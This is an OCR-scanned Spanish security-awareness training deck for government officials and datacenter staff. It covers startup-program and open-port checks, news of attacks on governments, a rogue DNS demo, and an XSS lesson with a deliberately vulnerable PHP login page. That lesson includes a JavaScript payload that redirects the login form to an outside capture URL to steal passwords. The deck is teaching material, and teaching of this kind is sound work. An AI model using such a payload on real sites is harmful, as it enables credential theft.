revisar que servicios y programas se estan ejecutando en
ella.

-Para esto hay varias cosas que podemos hacer. Una de
ellas es verificar la solapa Inicio del msconfig, que
ejecutamos recién, donde veremos todos los programas
que se gjecutan al inicio de Windows.

- Al destildarlos, logramos que en el préximo inicio de
sesion, no se ejecuten.

-En general es facil distinguir cuales son Utiles y cuales no,
segln el nombre o la ruta donde estan ubicados.
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.,.!é' Utitidad de configuracion del sistema

General | SYSTEMLINI | WIN.INI | BOOT.INI | Servicios | Inicio

Elemento de inicio Comando Ubicacién

atiptax "Ci\archivos de programalATI Technol,..  HKLM\SOFTWARE|Microsaftiwindoy
EabServr Cikrchivos de programalHPQiGuick L., HKLM|SCFTWAREMicrosoft{Windos
SynTRERh Ciffirchivos de programalSynaptics\Sy...  HKLMISOFTWARE MicrasaFt\Windoy
CHARCHIV~1{SYMANT~LISYMANT~1,..  HKLM\SOFTWARE|Microsaft|Windoy
"Ci\rchivos de programalJavaljrel 6., HKLMISOFTWARE|Microsoft|Windo
HPWSChd2 Cilfirchivos de programalHPIHP Softw...  HKLMISOFTWARE|Microsaft|Window
mEnmsgr "Ci\Archivos de programalMsh Messe..,  HKCUVSOFTWARE|Microsoftywindor
tFmon CAWINDOW Shsystem32\ctimon. exe HKCLASOF TWAREWicrosoftiwindo
BlackICE Uity CHARCHIV~1I55|BlackICEYblackice.e. . Common Skartup

HP Digital Tmaging ... CHARCHIV~1|HPIDIGITA11binlhpatr...  Common Startup

| O AccessRunner ADS... "C:lirchivos de programalZy#EL\Acce. . SOFTWARENMicrosoftywindows\Cur
<V_| dumoren 0 -k osvstemrootYlsvstem32idumoren 0 -k 50FTWARE\ansnmWmduws\c;r,”.
€] Ul 24

[ Hebitartoda | [ Deshabiitartodo |
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Volviendo a los servicios y programas en gjecucién, otro programa
que puede resultarnos Util es el Process Explorer. Que es semejante
al Administrador de tareas pero con alguna ventajas adicionales. Se
puede descargar de www.sysinternals.com

e i ok e e
EE
CIEN WYY )

e 7D
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-Si creemos que alguno de los servicios encendidos esta intentando o
esperando alguna comunicacién a través de la red, podemos
verificarlo con el comando netstat:

-Alli veremos si hay alguna conexidn establecida con otros equipos v
también que puertos tenemos abiertos en nuestra Pc.

@ CAWIMDOWS\system 3 2cmd exe
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-Que exista un puerto abierto, implica que hay un servicio
esperando en el para hacer algo.

- Otro ) programa que puede resultarnos Util a esos efectos
es el CurrPorts, que se puede descargar de la Web.

[Ecupas =aks
[P o Vow pioms e
" Ry RO |

| Process I | Protocal | Local Purt | Local Port Nome | Loc, Memoee Pert | Remote Poet Nomo | Remoks Address | State | Process Path
1508 ™ 1025 20726 0.0.0.0 Listening CEAWINDOWS| SysteeniZaig e
e e CAWINDCWS | Explorer EXE
e 199
e @ 12
e 15
e T 1384
e we
I e bare
e e
= we
w2 ue
e e
w o s
Slevcheet ase e we
[Serchest eze e we
St eze e e
(Ssvhest.eze e s
I ws e s
Dserese ere 20w
syatem 4 = nerosate s wm 0000 ustening
Syt 4+ we waohds 0000
< 5
|[21 Cpened Porte, 1 Selected
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Boletines de Seguridad de Microsoft Windows

http://www.microsoft.com/latam/TechNet/seguridad/
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CAPACITACION FUNCIONARIOS
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Lo mas importante es hacer entender que cualquier ataque informatico o a la
informacién repercute en la credibilidad y la transparencia de la gestion. Cuando un
Gobierno decide comenzar con una gestibn mas electronica o informatizada o
realizar parte de su Gobierno de forma electronica, debe tomar las precauciones
necesarias para que esta nueva metodologia no haga decaer la imagen politica por
culpa de algun ataque informético. Por ese motivo, se intenta demostrar algunos de
los ataques existentes.

La intencion es generar un clima donde los participantes sientan la necesidad
de ampliar sus conocimientos, que puedan preguntar libremente y evacuen para que
la seguridad de la informacién deje de ser un mito para pasar a ser parte de una

realidad.
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Noticias:

o Aumentaran los ataques informaticos contra gobiernos, afirma el
instituto SANS 08/01/2007

o Publicado el Viernes, 4 de Enero del 2008 por Christian
Corea del Sur victima de ataques informaticos provenientes de
China

o TRAS LAS DENUNCIAS DE EEUU O ALEMANIA, Pekin dice que los
ataques informaticos del verano no fueron de espias sino de
estudiantes. Actualizado viernes 19/10/2007

o EL ZAPATAZO, CONOCIDA WEB CRITICA CON EL GOBIERNO.
Oleada de ataques informaticos contra el "site™ que recuperé la
fonoteca de la SER del 11 al 13-M

o Al tiempo que la tecnologia avanza, los peligros no le pierden
pisada. Hoy, nadie confia ni en uno de los blancos predilectos del
siglo XXI: Las computadoras. éCémo puede un pequeiio grupos de
hombres destruir el sistema de un pais? ( Edicién 82 / Enero -
Febrero del 2002
Ambiente ecolégico )
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Noticias:

o Las presiones a la prensa argentina
en el gobierno de Kirchner.
Antes de viajar a Estados Unidos, se desaté un escandalo en la
Argentina porque un grupo de desconocidos espié y robé los
mensajes que intercambié a través de mi correo electrénico en
Internet durante dos meses con el juez Daniel Rafecas, quien
investiga a dos traficantes de drogas serbios presos en mi pais.
{Daniel Santoro ) (Sala de prensa Art.680)

o Sufrié ataque cibernético pagina web del presidente de Ucrania
martes, 30 de octubre de 2007 (UkraNews)

o Un hacker controlé la pagina web del Banco Central en un ataque a
la seguridad de los datos financieros (Diario La Nacion 13 de Abril
del 2003)

o Ataque informatico desde la Secretaria de Inteligencia (ex-Side)
deja offline a El ojo digital. (El Ojo digital 25/3/2007)
o Hackearon el sitio web de la Presidencia de la Nacién (InfoBae)
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CAPACITACION PERSONAL DEL DATACENTER
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En cuanto al personal mas especializado, es necesario que comprendan a la
perfeccién cuales son los tipos de ataques que existen, como se llevan adelante y la
manera de eliminarlos. Con demostraciones en vivo de diferentes ataques, esta
presentacién apunta a crear la conciencia necesaria para que el personal del
DataCenter sea parte de la seguridad de cada uno de los datos que se alojan en él.

Dentro de la practicas, se realizaran ataques de dns spoofing, phishing, DoS,
atagues sobre wireless, creacion de codigo malicioso, etc.
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Seguridad en Aplicaciones WEB

Funcionamiento de aplicaciones WEB
«Como vulnerarlas

eDemo: Seguridad Fisica

sDemo: XSS
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¢Como funciona una aplicacion Web?
Integrantes:
» Servidor Web: quien provee el servicio
* Servidor DNS

¢ Cliente (browser/navegador): Quien solicita el servicio
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¢, Como funciona una aplicacion Web?

2 - Se hace la consulta al DNS.
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¢, Como funciona una aplicacion Web?
DNS

3 - El DNS responde la direccion IP
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¢, Como funciona una aplicacion Web?
DNS

4 - Se hace la consulta al servidor web.
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¢, Como funciona una aplicacion Web?

Google

5 - El servidor procesa el pedido y generé una respuesta.
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Vulnerando una aplicacion WEB

¢Que opciones tenemos?

sAtacar la Comunicacion

Seguridad Fisica, dns, dhcp, gateway, etc.
eAtacar al Cliente

Virus, Troyano, XSS, etc.

sAtacar al Servidor
Vulnerabilidad Web, del OS, etc.
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Demo: Seguridad Fisica

Esquema inicial:

Router

DHCP
Intranet DNS

Cliente

INET

Access Point i
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Demo: Seguridad Fisica

Luego del ataque:

Router
DHCP
Intranet DNS
Cliente
INET
: e
Access Point -

Router

DHCP Atacante
Sitio Falso
DNS Falso
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XSS (Cross Site Scripting)

« Consiste en inyectar cddigo en un sitio Web desde el
lado del Cliente

e Esta basada en errores de programacion de la
aplicacion.

* Requiere interaccion con el usuario.
e Es un ataquedecapa 7 ...

y capa 8!l!
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XSS — Ejemplo basico

o Inyectamos HTML en el campo nombre

Login

Usuario

<u>pepe</u>

Contrasenia
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XSS - ¢ Porqué funciona?

Repasemos el codigo del formulario web:

<form id="loginForm" method="get" action="index. php">
Usuarieo: <input type="text" name="usrname'>
Clave: <input type="password" name="pass'>

<fform>
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XSS - ¢ Porqué funciona?

El cédigo que muestra el mensaje de usuario incorrecto:

<?php
$user = §_GET["usrname"];
echo "<p> El usuario $user es invalido. </p>";

red

Se inserta literalmente el nombre de usuario en el contenido de la pagina!l
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XSS - ¢ Porqué funciona?

o Nombre de usuario: pepe

<p> El usuario pepe es invalido </p>

o Nombre de usuario: <u>pepe</u>

<p> El usuario <u>pepe</u> es invalido </p>
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XSS - ¢ Tan malo es esto?

o Posibilidad de robar contrasenas

o Cualquier otro tipo de engano basado en
mostrar informacion falsa desde una
fuente de confianza
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XSS — Demo: Robando Contrasenas

Hagamos algo mas util, robemos contraseiias ;)

o Inyectamos javascript para redirigir el envio del formulario:

<script>
document. forms ["loginForm"] .action =
"http://www.yo.com/captura/captura.php”;

document.qetElementById('usuario_incorrecto')
LinnerHTML = ™)
</script>
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XSS - 4 COmMo me protejo?

o Usuario: Firefox + NoScript

o Complemento para Firefox
o Bloquea y previene muchos ataques web

o Desarrollador:

o Programar bien!!
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La capacitacion debe ser considerada como un proceso gestionado;
por lo tanto necesita no solamente del hecho propio de capacitar sino que es
fundamental su medicion; para poder de esta forma ver qué impacto tuvo su
realizacion. Analizar los resultados nos permite proyectar necesidades a
futuro o determinar nuevas formas de generar consciencia si las necesidades

no fueron alcanzadas.

Para poder determinar los efectos de una capacitacion previamente es
necesario que se determine el alcance. Es por ello que preguntas del estilo
gue se detallan a continuacion deber surgir antes de realizar el temario de la
capacitacion.

Ejemplo de preguntas: ¢Cudles son los objetivos de la capacitacion?,
¢,Cuales son los resultados esperados de la capacitacion? ¢ Qué datos se van
a poder recolectar luego para realizaciéon la medicion?, ¢En cuanto tiempo se

espera medir el impacto?

A la hora de recolectar datos para la medicion se podra optar por un
cuestionario o bien tomar un grupo muestra; y evaluar el conocimiento y
desempefio respecto a éste Ultimo a los sectores que si se han capacitado
(esto suele tener el inconveniente de retrasar la capacitacion a un sector)

Si se optara por un cuestionario el mismo deber& evaluar a través de
preguntas claves tres puntos: si los participantes valoraron la capacitacion, si
los participantes han logrado los objetivos propuestos en la capacitacion y
fundamentalmente si los participantes han transferido a su trabajo las
habilidades y conocimientos adquiridos en la capacitacién. Incluir una
pregunta orientada a qué es lo que espera un participante en una futura

capacitacion nos permitira proyectar unificando necesidades.
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